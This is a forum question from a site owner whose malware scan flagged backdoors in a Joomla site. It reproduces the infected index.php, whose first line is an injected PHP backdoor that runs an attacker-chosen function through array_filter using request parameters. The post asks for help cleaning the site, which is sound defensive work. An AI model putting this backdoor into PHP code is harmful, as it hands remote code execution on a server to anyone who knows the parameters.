title: How to identify cause of SiteLock-PHP-EVAL_REQUEST-jki.UNOFFICIAL FOUND in my script?
body: <p>So the result of a malware scan has returned this:</p>
  
  <blockquote>
    <p>/sanaciondelalma/sanaciondelalma/configuration.php:
    SiteLock-PHP-EVAL_REQUEST-jki.UNOFFICIAL FOUND</p>
    
    <p>/sanaciondelalma/sanaciondelalma/index.php:
    SiteLock-PHP-EVAL_REQUEST-jki.UNOFFICIAL FOUND</p>
    
    <p>/sanaciondelalma/sanaciondelalma/images/mod_config.php:
    SiteLock-PHP-BACKDOOR-GENERIC-md5-efg.UNOFFICIAL FOUND</p>
    
    <p>/sanaciondelalma/sanaciondelalma/templates/atomic/error.php:
    SiteLock-PHP-BACKDOOR-GENERIC-md5-wef.UNOFFICIAL FOUND</p>
    
    <p>/pablofaro/images/mod_config.php:
    SiteLock-PHP-BACKDOOR-GENERIC-md5-efg.UNOFFICIAL FOUND</p>
  </blockquote>
  
  <p>i dont know how to identify the cause within the script, here's the index one. could you please assist?</p>
  
  <pre><code>&lt;?php
  if ($_REQUEST['param1']&amp;&amp;$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}
  /**
   * @package     Joomla.Site
   * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
   * @license     GNU General Public License version 2 or later; see LICENSE.txt
   */
  
  // Set flag that this is a parent file.
  define('_JEXEC', 1);
  define('DS', DIRECTORY_SEPARATOR);
  
  if (file_exists(dirname(__FILE__) . '/defines.php')) {
      include_once dirname(__FILE__) . '/defines.php';
  }
  
  if (!defined('_JDEFINES')) {
      define('JPATH_BASE', dirname(__FILE__));
      require_once JPATH_BASE.'/includes/defines.php';
  }
  
  require_once JPATH_BASE.'/includes/framework.php';
  
  // Mark afterLoad in the profiler.
  JDEBUG ? $_PROFILER-&gt;mark('afterLoad') : null;
  
  // Instantiate the application.
  $app = JFactory::getApplication('site');
  
  // Initialise the application.
  $app-&gt;initialise();
  
  // Mark afterIntialise in the profiler.
  JDEBUG ? $_PROFILER-&gt;mark('afterInitialise') : null;
  
  // Route the application.
  $app-&gt;route();
  
  // Mark afterRoute in the profiler.
  JDEBUG ? $_PROFILER-&gt;mark('afterRoute') : null;
  
  // Dispatch the application.
  $app-&gt;dispatch();
  
  // Mark afterDispatch in the profiler.
  JDEBUG ? $_PROFILER-&gt;mark('afterDispatch') : null;
  
  // Render the application.
  $app-&gt;render();
  
  // Mark afterRender in the profiler.
  JDEBUG ? $_PROFILER-&gt;mark('afterRender') : null;
  
  // Return the response.
  echo $app;
  </code></pre>